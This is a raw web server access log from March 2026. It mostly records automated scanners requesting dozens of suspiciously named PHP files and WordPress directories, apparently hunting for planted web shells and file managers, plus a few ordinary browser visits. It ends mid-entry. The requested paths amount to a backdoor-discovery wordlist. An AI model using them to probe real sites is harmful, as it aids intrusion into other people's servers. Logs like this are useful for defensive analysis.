"-" 52.169.148.186 - - [10/Mar/2026:21:49:49 +0300] "GET /blog/222.php HTTP/1.1" 301 795 "-" "-" 52.169.148.186 - - [10/Mar/2026:21:49:49 +0300] "GET /wp-admin/js/about.php HTTP/1.1" 301 795 "-" "-" 52.169.148.186 - - [10/Mar/2026:21:49:49 +0300] "GET /rrr.php HTTP/1.1" 301 795 "-" "-" 52.169.148.186 - - [10/Mar/2026:21:49:49 +0300] "GET /uploads/admin.php HTTP/1.1" 301 795 "-" "-" 52.169.148.186 - - [10/Mar/2026:21:49:59 +0300] "GET /vx.php HTTP/1.1" 301 795 "-" "-" 52.169.148.186 - - [10/Mar/2026:21:50:14 +0300] "GET /oo.php HTTP/1.1" 301 795 "-" "-" 52.169.148.186 - - [10/Mar/2026:21:50:18 +0300] "GET /bless.php HTTP/1.1" 301 795 "-" "-" 52.169.148.186 - - [10/Mar/2026:21:50:21 +0300] "GET /z60.php HTTP/1.1" 301 795 "-" "-" 52.169.148.186 - - [10/Mar/2026:21:50:25 +0300] "GET /baxa1.phP8 HTTP/1.1" 301 795 "-" "-" 52.169.148.186 - - [10/Mar/2026:21:50:44 +0300] "GET /wp-admin/css/colors/about.php HTTP/1.1" 301 795 "-" "-" 52.169.148.186 - - [10/Mar/2026:21:50:57 +0300] "GET /wp-logout.php HTTP/1.1" 301 795 "-" "-" 52.169.148.186 - - [10/Mar/2026:21:51:01 +0300] "GET /wp-links.php HTTP/1.1" 301 795 "-" "-" 52.169.148.186 - - [10/Mar/2026:21:51:27 +0300] "GET /ws46.php HTTP/1.1" 301 795 "-" "-" 52.169.148.186 - - [10/Mar/2026:21:51:39 +0300] "GET /manager.php HTTP/1.1" 301 795 "-" "-" 52.169.148.186 - - [10/Mar/2026:21:51:59 +0300] "GET /chosen.php HTTP/1.1" 301 795 "-" "-" 52.169.148.186 - - [10/Mar/2026:21:52:16 +0300] "GET /s.php HTTP/1.1" 301 795 "-" "-" 52.169.148.186 - - [10/Mar/2026:21:52:31 +0300] "GET /a2.php HTTP/1.1" 301 795 "-" "-" 52.169.148.186 - - [10/Mar/2026:21:52:31 +0300] "GET /abcd.php HTTP/1.1" 301 795 "-" "-" 52.169.148.186 - - [10/Mar/2026:21:52:31 +0300] "GET /mh.php HTTP/1.1" 301 795 "-" "-" 52.169.148.186 - - [10/Mar/2026:21:53:00 +0300] "GET /ova.php HTTP/1.1" 301 795 "-" "-" 52.169.148.186 - - [10/Mar/2026:21:53:00 +0300] "GET /img.php HTTP/1.1" 301 795 "-" "-" 52.169.148.186 - - [10/Mar/2026:21:53:00 +0300] "GET /abc.php HTTP/1.1" 301 795 "-" "-" 52.169.148.186 - - [10/Mar/2026:21:53:00 +0300] "GET /dropdown.php HTTP/1.1" 301 795 "-" "-" 52.169.148.186 - - [10/Mar/2026:21:48:12 +0300] "GET /wp-content/plugins/hellopress/wp_filemanager.php HTTP/1.1" 301 795 "-" "-" 52.169.148.186 - - [10/Mar/2026:21:49:33 +0300] "GET /blog/222.php HTTP/1.1" 301 795 "-" "-" 52.169.148.186 - - [10/Mar/2026:21:49:40 +0300] "GET /class.api.php HTTP/1.1" 301 795 "-" "-" 52.169.148.186 - - [10/Mar/2026:21:49:53 +0300] "GET /ant.php HTTP/1.1" 301 795 "-" "-" 52.169.148.186 - - [10/Mar/2026:21:50:33 +0300] "GET /wp-content/index.php HTTP/1.1" 301 795 "-" "-" 52.169.148.186 - - [10/Mar/2026:21:50:33 +0300] "GET /wp-includes/Text/about.php HTTP/1.1" 301 795 "-" "-" 52.169.148.186 - - [10/Mar/2026:21:50:42 +0300] "GET /sf.php HTTP/1.1" 301 795 "-" "-" 52.169.148.186 - - [10/Mar/2026:21:50:44 +0300] "GET /pn.php HTTP/1.1" 301 795 "-" "-" 52.169.148.186 - - [10/Mar/2026:21:51:08 +0300] "GET /file2.php HTTP/1.1" 301 795 "-" "-" 52.169.148.186 - - [10/Mar/2026:21:51:18 +0300] "GET /oo.php HTTP/1.1" 301 795 "-" "-" 52.169.148.186 - - [10/Mar/2026:21:51:18 +0300] "GET /bless.php HTTP/1.1" 301 795 "-" "-" 52.169.148.186 - - [10/Mar/2026:21:51:18 +0300] "GET /z60.php HTTP/1.1" 301 795 "-" "-" 52.169.148.186 - - [10/Mar/2026:21:51:19 +0300] "GET /baxa1.phP8 HTTP/1.1" 301 795 "-" "-" 52.169.148.186 - - [10/Mar/2026:21:51:19 +0300] "GET /666.php HTTP/1.1" 301 795 "-" "-" 52.169.148.186 - - [10/Mar/2026:21:51:19 +0300] "GET /wp-admin/setup-config.php HTTP/1.1" 301 795 "-" "-" 52.169.148.186 - - [10/Mar/2026:21:51:20 +0300] "GET /wsd.php HTTP/1.1" 301 795 "-" "-" 52.169.148.186 - - [10/Mar/2026:21:51:20 +0300] "GET /ccou.php HTTP/1.1" 301 795 "-" "-" 52.169.148.186 - - [10/Mar/2026:21:51:20 +0300] "GET /wp-admin/css/colors/about.php HTTP/1.1" 301 795 "-" "-" 52.169.148.186 - - [10/Mar/2026:21:51:20 +0300] "GET /doc.php HTTP/1.1" 301 795 "-" "-" 52.169.148.186 - - [10/Mar/2026:21:51:20 +0300] "GET /as.php HTTP/1.1" 301 795 "-" "-" 52.169.148.186 - - [10/Mar/2026:21:51:20 +0300] "GET /wp-logout.php HTTP/1.1" 301 795 "-" "-" 52.169.148.186 - - [10/Mar/2026:21:51:20 +0300] "GET /wp-links.php HTTP/1.1" 301 795 "-" "-" 52.169.148.186 - - [10/Mar/2026:21:51:20 +0300] "GET /web.php HTTP/1.1" 301 795 "-" "-" 52.169.148.186 - - [10/Mar/2026:21:51:20 +0300] "GET /11.php HTTP/1.1" 301 795 "-" "-" 52.169.148.186 - - [10/Mar/2026:21:51:20 +0300] "GET /style.php HTTP/1.1" 301 795 "-" "-" 52.169.148.186 - - [10/Mar/2026:21:51:22 +0300] "GET /past1.php HTTP/1.1" 301 795 "-" "-" 52.169.148.186 - - [10/Mar/2026:21:51:31 +0300] "GET /ws46.php HTTP/1.1" 301 795 "-" "-" 52.169.148.186 - - [10/Mar/2026:21:51:48 +0300] "GET /eee.php HTTP/1.1" 301 795 "-" "-" 52.169.148.186 - - [10/Mar/2026:21:51:51 +0300] "GET /manager.php HTTP/1.1" 301 795 "-" "-" 52.169.148.186 - - [10/Mar/2026:21:51:51 +0300] "GET /eee.php HTTP/1.1" 301 795 "-" "-" 52.169.148.186 - - [10/Mar/2026:21:51:54 +0300] "GET /buy.php HTTP/1.1" 301 795 "-" "-" 52.169.148.186 - - [10/Mar/2026:21:52:34 +0300] "GET /log.php HTTP/1.1" 301 795 "-" "-" 52.169.148.186 - - [10/Mar/2026:21:52:37 +0300] "GET /wp-admin/js/index.php HTTP/1.1" 301 795 "-" "-" 52.169.148.186 - - [10/Mar/2026:21:52:37 +0300] "GET /amax.php HTTP/1.1" 301 795 "-" "-" 52.169.148.186 - - [10/Mar/2026:21:52:37 +0300] "GET /m.php HTTP/1.1" 301 795 "-" "-" 52.169.148.186 - - [10/Mar/2026:21:52:37 +0300] "GET /222.php HTTP/1.1" 301 795 "-" "-" 52.169.148.186 - - [10/Mar/2026:21:52:37 +0300] "GET /test1.php HTTP/1.1" 301 795 "-" "-" 52.169.148.186 - - [10/Mar/2026:21:52:38 +0300] "GET /geck.php HTTP/1.1" 301 795 "-" "-" 52.169.148.186 - - [10/Mar/2026:21:52:53 +0300] "GET /abc.php HTTP/1.1" 301 795 "-" "-" 52.169.148.186 - - [10/Mar/2026:21:52:55 +0300] "GET /dropdown.php HTTP/1.1" 301 795 "-" "-" 52.169.148.186 - - [10/Mar/2026:21:48:19 +0300] "GET /dom.php HTTP/1.1" 301 795 "-" "-" 52.169.148.186 - - [10/Mar/2026:21:48:19 +0300] "GET /dom.php HTTP/1.1" 301 795 "-" "-" 52.169.148.186 - - [10/Mar/2026:21:48:22 +0300] "GET /wp.php HTTP/1.1" 301 795 "-" "-" 52.169.148.186 - - [10/Mar/2026:21:48:40 +0300] "GET /fs6.php HTTP/1.1" 301 795 "-" "-" 52.169.148.186 - - [10/Mar/2026:21:48:44 +0300] "GET /fs7.php HTTP/1.1" 301 795 "-" "-" 52.169.148.186 - - [10/Mar/2026:21:48:46 +0300] "GET /phina.php HTTP/1.1" 301 795 "-" "-" 52.169.148.186 - - [10/Mar/2026:21:48:46 +0300] "GET /kbfr.php HTTP/1.1" 301 795 "-" "-" 52.169.148.186 - - [10/Mar/2026:21:48:46 +0300] "GET /jga.php HTTP/1.1" 301 795 "-" "-" 52.169.148.186 - - [10/Mar/2026:21:48:46 +0300] "GET /fs6.php HTTP/1.1" 301 795 "-" "-" 52.169.148.186 - - [10/Mar/2026:21:48:46 +0300] "GET /fs7.php HTTP/1.1" 301 795 "-" "-" 52.169.148.186 - - [10/Mar/2026:21:48:47 +0300] "GET /kbfr.php HTTP/1.1" 301 795 "-" "-" 52.169.148.186 - - [10/Mar/2026:21:48:50 +0300] "GET /wander.php HTTP/1.1" 301 795 "-" "-" 52.169.148.186 - - [10/Mar/2026:21:48:54 +0300] "GET /xc0252.php HTTP/1.1" 301 795 "-" "-" 52.169.148.186 - - [10/Mar/2026:21:49:17 +0300] "GET /xs.php HTTP/1.1" 301 795 "-" "-" 52.169.148.186 - - [10/Mar/2026:21:49:21 +0300] "GET /ws47.php HTTP/1.1" 301 795 "-" "-" 52.169.148.186 - - [10/Mar/2026:21:49:21 +0300] "GET /vvvb.php HTTP/1.1" 301 795 "-" "-" 52.169.148.186 - - [10/Mar/2026:21:49:24 +0300] "GET /vvvb.php HTTP/1.1" 301 795 "-" "-" 52.169.148.186 - - [10/Mar/2026:21:49:59 +0300] "GET /vx.php HTTP/1.1" 301 795 "-" "-" 52.169.148.186 - - [10/Mar/2026:21:50:24 +0300] "GET /path.php HTTP/1.1" 301 795 "-" "-" 52.169.148.186 - - [10/Mar/2026:21:50:33 +0300] "GET /wp-content/index.php HTTP/1.1" 301 795 "-" "-" 52.169.148.186 - - [10/Mar/2026:21:50:33 +0300] "GET /wp-includes/Text/about.php HTTP/1.1" 301 795 "-" "-" 52.169.148.186 - - [10/Mar/2026:21:52:00 +0300] "GET /a2.php HTTP/1.1" 301 795 "-" "-" 52.169.148.186 - - [10/Mar/2026:21:48:28 +0300] "GET /wp.php HTTP/1.1" 301 795 "-" "-" 52.169.148.186 - - [10/Mar/2026:21:48:28 +0300] "GET /ta0ol.php HTTP/1.1" 301 795 "-" "-" 52.169.148.186 - - [10/Mar/2026:21:48:39 +0300] "GET /a5.php HTTP/1.1" 301 795 "-" "-" 52.169.148.186 - - [10/Mar/2026:21:49:03 +0300] "GET /8.php HTTP/1.1" 301 795 "-" "-" 52.169.148.186 - - [10/Mar/2026:21:49:06 +0300] "GET /66.php HTTP/1.1" 301 795 "-" "-" 52.169.148.186 - - [10/Mar/2026:21:49:13 +0300] "GET /xs.php HTTP/1.1" 301 795 "-" "-" 52.169.148.186 - - [10/Mar/2026:21:49:17 +0300] "GET /ws47.php HTTP/1.1" 301 795 "-" "-" 52.169.148.186 - - [10/Mar/2026:21:49:20 +0300] "GET /vvvb.php HTTP/1.1" 301 795 "-" "-" 52.169.148.186 - - [10/Mar/2026:21:49:28 +0300] "GET /x12.php HTTP/1.1" 301 795 "-" "-" 52.169.148.186 - - [10/Mar/2026:21:49:31 +0300] "GET /webadmin.php HTTP/1.1" 301 795 "-" "-" 52.169.148.186 - - [10/Mar/2026:21:49:47 +0300] "GET /blog/222.php HTTP/1.1" 301 795 "-" "-" 52.169.148.186 - - [10/Mar/2026:21:49:47 +0300] "GET /wp-admin/js/about.php HTTP/1.1" 301 795 "-" "-" 52.169.148.186 - - [10/Mar/2026:21:49:47 +0300] "GET /rrr.php HTTP/1.1" 301 795 "-" "-" 52.169.148.186 - - [10/Mar/2026:21:49:47 +0300] "GET /uploads/admin.php HTTP/1.1" 301 795 "-" "-" 52.169.148.186 - - [10/Mar/2026:21:50:10 +0300] "GET /1.php HTTP/1.1" 301 795 "-" "-" 52.169.148.186 - - [10/Mar/2026:21:50:10 +0300] "GET /vx.php HTTP/1.1" 301 795 "-" "-" 52.169.148.186 - - [10/Mar/2026:21:50:10 +0300] "GET /gtc.php HTTP/1.1" 301 795 "-" "-" 52.169.148.186 - - [10/Mar/2026:21:50:39 +0300] "GET /ccou.php HTTP/1.1" 301 795 "-" "-" 52.169.148.186 - - [10/Mar/2026:21:50:48 +0300] "GET /pn.php HTTP/1.1" 301 795 "-" "-" 52.169.148.186 - - [10/Mar/2026:21:50:54 +0300] "GET /miansha.php HTTP/1.1" 301 795 "-" "-" 52.169.148.186 - - [10/Mar/2026:21:50:54 +0300] "GET /az.php HTTP/1.1" 301 795 "-" "-" 52.169.148.186 - - [10/Mar/2026:21:50:54 +0300] "GET /simple.php HTTP/1.1" 301 795 "-" "-" 52.169.148.186 - - [10/Mar/2026:21:50:57 +0300] "GET /155.php HTTP/1.1" 301 795 "-" "-" 52.169.148.186 - - [10/Mar/2026:21:51:15 +0300] "GET /style.php HTTP/1.1" 301 795 "-" "-" 52.169.148.186 - - [10/Mar/2026:21:51:27 +0300] "GET /past1.php HTTP/1.1" 301 795 "-" "-" 52.169.148.186 - - [10/Mar/2026:21:51:27 +0300] "GET /past1.php HTTP/1.1" 301 795 "-" "-" 52.169.148.186 - - [10/Mar/2026:21:51:27 +0300] "GET /ws46.php HTTP/1.1" 301 795 "-" "-" 52.169.148.186 - - [10/Mar/2026:21:52:28 +0300] "GET /test1.php HTTP/1.1" 301 795 "-" "-" 52.169.148.186 - - [10/Mar/2026:21:52:31 +0300] "GET /geck.php HTTP/1.1" 301 795 "-" "-" 52.169.148.186 - - [10/Mar/2026:21:52:37 +0300] "GET /x.php HTTP/1.1" 301 795 "-" "-" 52.169.148.186 - - [10/Mar/2026:21:52:37 +0300] "GET /item.php HTTP/1.1" 301 795 "-" "-" 52.169.148.186 - - [10/Mar/2026:21:52:37 +0300] "GET /support.php HTTP/1.1" 301 795 "-" "-" 52.169.148.186 - - [10/Mar/2026:21:48:10 +0300] "GET /wp-content/plugins/hellopress/wp_filemanager.php HTTP/1.1" 301 795 "-" "-" 52.169.148.186 - - [10/Mar/2026:21:48:49 +0300] "GET /jga.php HTTP/1.1" 301 795 "-" "-" 52.169.148.186 - - [10/Mar/2026:21:48:49 +0300] "GET /fs6.php HTTP/1.1" 301 795 "-" "-" 52.169.148.186 - - [10/Mar/2026:21:48:49 +0300] "GET /fs7.php HTTP/1.1" 301 795 "-" "-" 52.169.148.186 - - [10/Mar/2026:21:48:49 +0300] "GET /kbfr.php HTTP/1.1" 301 795 "-" "-" 52.169.148.186 - - [10/Mar/2026:21:48:52 +0300] "GET /wander.php HTTP/1.1" 301 795 "-" "-" 52.169.148.186 - - [10/Mar/2026:21:49:06 +0300] "GET /f6.php HTTP/1.1" 301 795 "-" "-" 52.169.148.186 - - [10/Mar/2026:21:49:06 +0300] "GET /8.php HTTP/1.1" 301 795 "-" "-" 52.169.148.186 - - [10/Mar/2026:21:49:27 +0300] "GET /x12.php HTTP/1.1" 301 795 "-" "-" 52.169.148.186 - - [10/Mar/2026:21:49:53 +0300] "GET /1.php HTTP/1.1" 301 795 "-" "-" 52.169.148.186 - - [10/Mar/2026:21:50:28 +0300] "GET /wp-admin/images/admin.php HTTP/1.1" 301 795 "-" "-" 52.169.148.186 - - [10/Mar/2026:21:50:53 +0300] "GET /as.php HTTP/1.1" 301 795 "-" "-" 52.169.148.186 - - [10/Mar/2026:21:51:06 +0300] "GET /web.php HTTP/1.1" 301 795 "-" "-" 52.169.148.186 - - [10/Mar/2026:21:51:10 +0300] "GET /11.php HTTP/1.1" 301 795 "-" "-" 52.169.148.186 - - [10/Mar/2026:21:51:13 +0300] "GET /file2.php HTTP/1.1" 301 795 "-" "-" 52.169.148.186 - - [10/Mar/2026:21:51:13 +0300] "GET /403.php HTTP/1.1" 301 795 "-" "-" 52.169.148.186 - - [10/Mar/2026:21:51:13 +0300] "GET /403.php HTTP/1.1" 301 795 "-" "-" 52.169.148.186 - - [10/Mar/2026:21:51:52 +0300] "GET /buy.php HTTP/1.1" 301 795 "-" "-" 52.169.148.186 - - [10/Mar/2026:21:51:56 +0300] "GET /chosen.php HTTP/1.1" 301 795 "-" "-" 52.169.148.186 - - [10/Mar/2026:21:52:09 +0300] "GET /amax.php HTTP/1.1" 301 795 "-" "-" 52.169.148.186 - - [10/Mar/2026:21:52:10 +0300] "GET /abcd.php HTTP/1.1" 301 795 "-" "-" 116.76.37.65 - - [10/Mar/2026:23:29:28 +0300] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/76.0.4385.36 Safari/537.36 SE 2.X MetaSr 1.0" 47.88.4.75 - - [10/Mar/2026:23:53:45 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36" 182.44.12.37 - - [11/Mar/2026:00:00:08 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 165.140.167.132 - - [11/Mar/2026:00:41:04 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:77.0) Gecko/20100101 Firefox/77.0" 185.104.184.198 - - [11/Mar/2026:01:21:27 +0300] "GET /wp-content/themes/classic/inc/ HTTP/1.1" 301 795 "-" "-" 185.104.184.198 - - [11/Mar/2026:01:23:26 +0300] "GET /assets/ HTTP/1.1" 301 795 "-" "-" 185.104.184.198 - - [11/Mar/2026:01:23:29 +0300] "GET /vendor/phpunit/phpunit/src/Util/PHP/ HTTP/1.1" 301 795 "-" "-" 185.104.184.198 - - [11/Mar/2026:01:23:46 +0300] "GET /assets/images/ HTTP/1.1" 301 795 "-" "-" 185.104.184.198 - - [11/Mar/2026:01:23:50 +0300] "GET /Public/ HTTP/1.1" 301 795 "-" "-" 185.104.184.198 - - [11/Mar/2026:01:23:53 +0300] "GET /vendor/ HTTP/1.1" 301 795 "-" "-" 185.104.184.198 - - [11/Mar/2026:01:24:55 +0300] "GET /images/stories/ HTTP/1.1" 301 795 "-" "-" 185.104.184.198 - - [11/Mar/2026:01:24:58 +0300] "GET /plugins/ HTTP/1.1" 301 795 "-" "-" 185.104.184.198 - - [11/Mar/2026:01:25:04 +0300] "GET /php/ HTTP/1.1" 301 795 "-" "-" 185.104.184.198 - - [11/Mar/2026:01:24:20 +0300] "GET /system/ HTTP/1.1" 301 795 "-" "-" 49.51.47.100 - - [11/Mar/2026:02:18:08 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 185.104.184.198 - - [11/Mar/2026:01:23:38 +0300] "GET /upload/image/ HTTP/1.1" 301 795 "-" "-" 185.104.184.198 - - [11/Mar/2026:01:24:08 +0300] "GET /modules/ HTTP/1.1" 301 795 "-" "-" 185.104.184.198 - - [11/Mar/2026:01:25:18 +0300] "GET /wp-content/cache/ HTTP/1.1" 301 795 "-" "-" 185.104.184.198 - - [11/Mar/2026:01:25:20 +0300] "GET /wp-admin/maint/ HTTP/1.1" 301 795 "-" "-" 185.104.184.198 - - [11/Mar/2026:01:25:20 +0300] "GET /wp-content/plugins/akismet/ HTTP/1.1" 301 795 "-" "-" 185.104.184.198 - - [11/Mar/2026:01:25:24 +0300] "GET /wp-includes/assets/ HTTP/1.1" 301 795 "-" "-" 185.104.184.198 - - [11/Mar/2026:01:25:24 +0300] "GET /wp-includes/block-patterns/ HTTP/1.1" 301 795 "-" "-" 185.104.184.198 - - [11/Mar/2026:01:25:24 +0300] "GET /wp-includes/block-supports/ HTTP/1.1" 301 795 "-" "-" 185.104.184.198 - - [11/Mar/2026:01:25:24 +0300] "GET /wp-includes/html-api/ HTTP/1.1" 301 795 "-" "-" 185.104.184.198 - - [11/Mar/2026:01:25:24 +0300] "GET /wp-includes/js/ HTTP/1.1" 301 795 "-" "-" 185.104.184.198 - - [11/Mar/2026:01:25:24 +0300] "GET /wp-includes/php-compat/ HTTP/1.1" 301 795 "-" "-" 185.104.184.198 - - [11/Mar/2026:01:25:25 +0300] "GET /wp-includes/PHPMailer/ HTTP/1.1" 301 795 "-" "-" 185.104.184.198 - - [11/Mar/2026:01:25:25 +0300] "GET /wp-includes/pomo/ HTTP/1.1" 301 795 "-" "-" 185.104.184.198 - - [11/Mar/2026:01:25:25 +0300] "GET /wp-includes/random_compat/ HTTP/1.1" 301 795 "-" "-" 185.104.184.198 - - [11/Mar/2026:01:21:36 +0300] "GET /wp-content/plugins/ninja-forms/ HTTP/1.1" 301 795 "-" "-" 185.104.184.198 - - [11/Mar/2026:01:24:01 +0300] "GET /local/ HTTP/1.1" 301 795 "-" "-" 185.104.184.198 - - [11/Mar/2026:01:24:27 +0300] "GET /template/ HTTP/1.1" 301 795 "-" "-" 185.104.184.198 - - [11/Mar/2026:01:26:35 +0300] "GET /wp-admin/meta/ HTTP/1.1" 301 795 "-" "-" 185.104.184.198 - - [11/Mar/2026:01:26:37 +0300] "GET /wp-admin/network/ HTTP/1.1" 301 795 "-" "-" 185.104.184.198 - - [11/Mar/2026:01:21:47 +0300] "GET /wp-content/mu-plugins/ HTTP/1.1" 301 795 "-" "-" 185.104.184.198 - - [11/Mar/2026:01:21:58 +0300] "GET /wp-includes/Text/Diff/Renderer/ HTTP/1.1" 301 795 "-" "-" 185.104.184.198 - - [11/Mar/2026:01:21:58 +0300] "GET /wp-includes/blocks/ HTTP/1.1" 301 795 "-" "-" 185.104.184.198 - - [11/Mar/2026:01:21:58 +0300] "GET /wp-includes/certificates/ HTTP/1.1" 301 795 "-" "-" 185.104.184.198 - - [11/Mar/2026:01:21:59 +0300] "GET /wp-includes/customize/ HTTP/1.1" 301 795 "-" "-" 185.104.184.198 - - [11/Mar/2026:01:21:59 +0300] "GET /wp-includes/fonts/ HTTP/1.1" 301 795 "-" "-" 185.104.184.198 - - [11/Mar/2026:01:21:59 +0300] "GET /wp-includes/images/ HTTP/1.1" 301 795 "-" "-" 185.104.184.198 - - [11/Mar/2026:01:21:59 +0300] "GET /.well-known/ HTTP/1.1" 301 795 "-" "-" 185.104.184.198 - - [11/Mar/2026:01:21:59 +0300] "GET /ALFA_DATA/ HTTP/1.1" 301 795 "-" "-" 185.104.184.198 - - [11/Mar/2026:01:23:19 +0300] "GET /images/ HTTP/1.1" 301 795 "-" "-" 185.104.184.198 - - [11/Mar/2026:01:24:14 +0300] "GET /Site/ HTTP/1.1" 301 795 "-" "-" 185.104.184.198 - - [11/Mar/2026:01:25:11 +0300] "GET /wp-admin/css/ HTTP/1.1" 301 795 "-" "-" 185.104.184.198 - - [11/Mar/2026:01:25:11 +0300] "GET /wp-content/themes/twentytwenty/ HTTP/1.1" 301 795 "-" "-" 185.104.184.198 - - [11/Mar/2026:01:21:11 +0300] "GET /wp-content/uploads/ HTTP/1.1" 301 795 "-" "-" 185.104.184.198 - - [11/Mar/2026:01:21:14 +0300] "GET /wp-includes/ HTTP/1.1" 301 795 "-" "-" 185.104.184.198 - - [11/Mar/2026:01:21:14 +0300] "GET /wp-includes/css/ HTTP/1.1" 301 795 "-" "-" 185.104.184.198 - - [11/Mar/2026:01:21:14 +0300] "GET /wp-includes/ID3/ HTTP/1.1" 301 795 "-" "-" 185.104.184.198 - - [11/Mar/2026:01:21:15 +0300] "GET /wp-includes/IXR/ HTTP/1.1" 301 795 "-" "-" 185.104.184.198 - - [11/Mar/2026:01:21:15 +0300] "GET /wp-includes/Requests/ HTTP/1.1" 301 795 "-" "-" 185.104.184.198 - - [11/Mar/2026:01:21:15 +0300] "GET /wp-includes/SimplePie/ HTTP/1.1" 301 795 "-" "-" 185.104.184.198 - - [11/Mar/2026:01:21:15 +0300] "GET /wp-includes/Text/ HTTP/1.1" 301 795 "-" "-" 185.104.184.198 - - [11/Mar/2026:01:21:15 +0300] "GET /wp-content/mu-plugins-old/ HTTP/1.1" 301 795 "-" "-" 185.104.184.198 - - [11/Mar/2026:01:22:11 +0300] "GET /.well-knownold/ HTTP/1.1" 301 795 "-" "-" 185.104.184.198 - - [11/Mar/2026:01:22:31 +0300] "GET /id/ HTTP/1.1" 301 795 "-" "-" 185.104.184.198 - - [11/Mar/2026:01:26:44 +0300] "GET /wp-admin/user/ HTTP/1.1" 301 795 "-" "-" 185.104.184.198 - - [11/Mar/2026:01:26:47 +0300] "GET /wp-content/ HTTP/1.1" 301 795 "-" "-" 185.104.184.198 - - [11/Mar/2026:01:26:48 +0300] "GET /wp-content/plugins/ HTTP/1.1" 301 795 "-" "-" 185.104.184.198 - - [11/Mar/2026:01:26:48 +0300] "GET /wp-content/themes/ HTTP/1.1" 301 795 "-" "-" 185.104.184.198 - - [11/Mar/2026:01:26:48 +0300] "GET /wp-admin/includes/ HTTP/1.1" 301 795 "-" "-" 185.104.184.198 - - [11/Mar/2026:01:26:48 +0300] "GET /wp-admin/ HTTP/1.1" 301 795 "-" "-" 185.104.184.198 - - [11/Mar/2026:01:26:55 +0300] "GET /wp-content/upgrade/ HTTP/1.1" 301 795 "-" "-" 185.104.184.198 - - [11/Mar/2026:01:22:21 +0300] "GET /.well-known/acme-challenge/ HTTP/1.1" 301 795 "-" "-" 185.104.184.198 - - [11/Mar/2026:01:22:21 +0300] "GET /cgi-bin/ HTTP/1.1" 301 795 "-" "-" 185.104.184.198 - - [11/Mar/2026:01:22:21 +0300] "GET /index/ HTTP/1.1" 301 795 "-" "-" 185.104.184.198 - - [11/Mar/2026:01:24:36 +0300] "GET /shop/ HTTP/1.1" 301 795 "-" "-" 185.104.184.198 - - [11/Mar/2026:01:24:39 +0300] "GET /files/ HTTP/1.1" 301 795 "-" "-" 185.104.184.198 - - [11/Mar/2026:01:24:42 +0300] "GET /admin/editor/ HTTP/1.1" 301 795 "-" "-" 185.104.184.198 - - [11/Mar/2026:01:24:45 +0300] "GET /include/ HTTP/1.1" 301 795 "-" "-" 185.104.184.198 - - [11/Mar/2026:01:24:49 +0300] "GET /Assets/ HTTP/1.1" 301 795 "-" "-" 185.104.184.198 - - [11/Mar/2026:01:25:34 +0300] "GET /wp-includes/rest-api/ HTTP/1.1" 301 795 "-" "-" 185.104.184.198 - - [11/Mar/2026:01:25:34 +0300] "GET /wp-includes/sitemaps/ HTTP/1.1" 301 795 "-" "-" 185.104.184.198 - - [11/Mar/2026:01:25:34 +0300] "GET /wp-includes/sodium_compat/ HTTP/1.1" 301 795 "-" "-" 185.104.184.198 - - [11/Mar/2026:01:25:35 +0300] "GET /wp-includes/style-engine/ HTTP/1.1" 301 795 "-" "-" 185.104.184.198 - - [11/Mar/2026:01:25:35 +0300] "GET /wp-includes/theme-compat/ HTTP/1.1" 301 795 "-" "-" 185.104.184.198 - - [11/Mar/2026:01:25:35 +0300] "GET /wp-includes/widgets/ HTTP/1.1" 301 795 "-" "-" 185.104.184.198 - - [11/Mar/2026:01:25:36 +0300] "GET /wp-admin/css/colors/ectoplasm/ HTTP/1.1" 301 795 "-" "-" 185.104.184.198 - - [11/Mar/2026:01:25:36 +0300] "GET /wp-admin/css/colors/ HTTP/1.1" 301 795 "-" "-" 185.104.184.198 - - [11/Mar/2026:01:25:36 +0300] "GET /admin/images/slider/ HTTP/1.1" 301 795 "-" "-" 185.104.184.198 - - [11/Mar/2026:01:25:39 +0300] "GET /admin/fckeditor/editor/filemanager/ HTTP/1.1" 301 795 "-" "-" 185.104.184.198 - - [11/Mar/2026:01:25:43 +0300] "GET /sites/default/files/ HTTP/1.1" 301 795 "-" "-" 185.104.184.198 - - [11/Mar/2026:01:25:46 +0300] "GET /admin/controller/extension/extension/ HTTP/1.1" 301 795 "-" "-" 185.104.184.198 - - [11/Mar/2026:01:25:48 +0300] "GET /modules/mod_simplefileuploadv1.3/elements/ HTTP/1.1" 301 795 "-" "-" 185.104.184.198 - - [11/Mar/2026:01:25:52 +0300] "GET /components/ HTTP/1.1" 301 795 "-" "-" 185.104.184.198 - - [11/Mar/2026:01:25:56 +0300] "GET /admin/uploads/images/ HTTP/1.1" 301 795 "-" "-" 185.104.184.198 - - [11/Mar/2026:01:26:00 +0300] "GET /wp-content/plugins/classic-editor/ HTTP/1.1" 301 795 "-" "-" 185.104.184.198 - - [11/Mar/2026:01:26:03 +0300] "GET /wp-content/fonts/ HTTP/1.1" 301 795 "-" "-" 185.104.184.198 - - [11/Mar/2026:01:26:04 +0300] "GET /wp-content/plugins/contact-form-7/admin/js/ HTTP/1.1" 301 795 "-" "-" 185.104.184.198 - - [11/Mar/2026:01:26:08 +0300] "GET /wp-content/plugins/contact-form-7/ HTTP/1.1" 301 795 "-" "-" 185.104.184.198 - - [11/Mar/2026:01:26:12 +0300] "GET /wordpress/ HTTP/1.1" 301 795 "-" "-" 185.104.184.198 - - [11/Mar/2026:01:26:14 +0300] "GET /wp-admin/images/ HTTP/1.1" 301 795 "-" "-" 185.104.184.198 - - [11/Mar/2026:01:26:15 +0300] "GET /wp-content/plugins/wordpress-seo/js/dist/ HTTP/1.1" 301 795 "-" "-" 185.104.184.198 - - [11/Mar/2026:01:26:18 +0300] "GET /wp-content/plugins/wordpress-seo/ HTTP/1.1" 301 795 "-" "-" 185.104.184.198 - - [11/Mar/2026:01:26:22 +0300] "GET /js/ HTTP/1.1" 301 795 "-" "-" 185.104.184.198 - - 